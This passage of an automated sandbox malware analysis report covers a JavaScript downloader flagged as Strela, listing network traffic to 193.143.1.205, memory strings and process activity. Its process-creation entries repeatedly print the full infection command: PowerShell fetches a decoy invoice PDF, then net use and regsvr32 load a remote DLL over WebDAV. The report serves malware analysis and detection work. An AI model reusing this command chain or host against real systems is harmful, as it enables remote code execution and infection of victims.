20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:49177 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1719457844.000001D639A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1801453411.000001BF0A88D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1801453411.000001BF0A838000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1801453411.000001BF0A86C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1801453411.000001BF0A838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.3008541637.00000257FF285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1805857244.00000257FF418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1805857244.00000257FF418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1805857244.00000257FF418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1805857244.00000257FF44D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1805857244.00000257FF4C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1805857244.00000257FF4C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1805857244.00000257FF4C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5016, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2581826545127854631.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1516:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibdo2y33.j51.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2581826545127854631.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,5857169299184739867,14283863373376698252,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,5857169299184739867,14283863373376698252,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
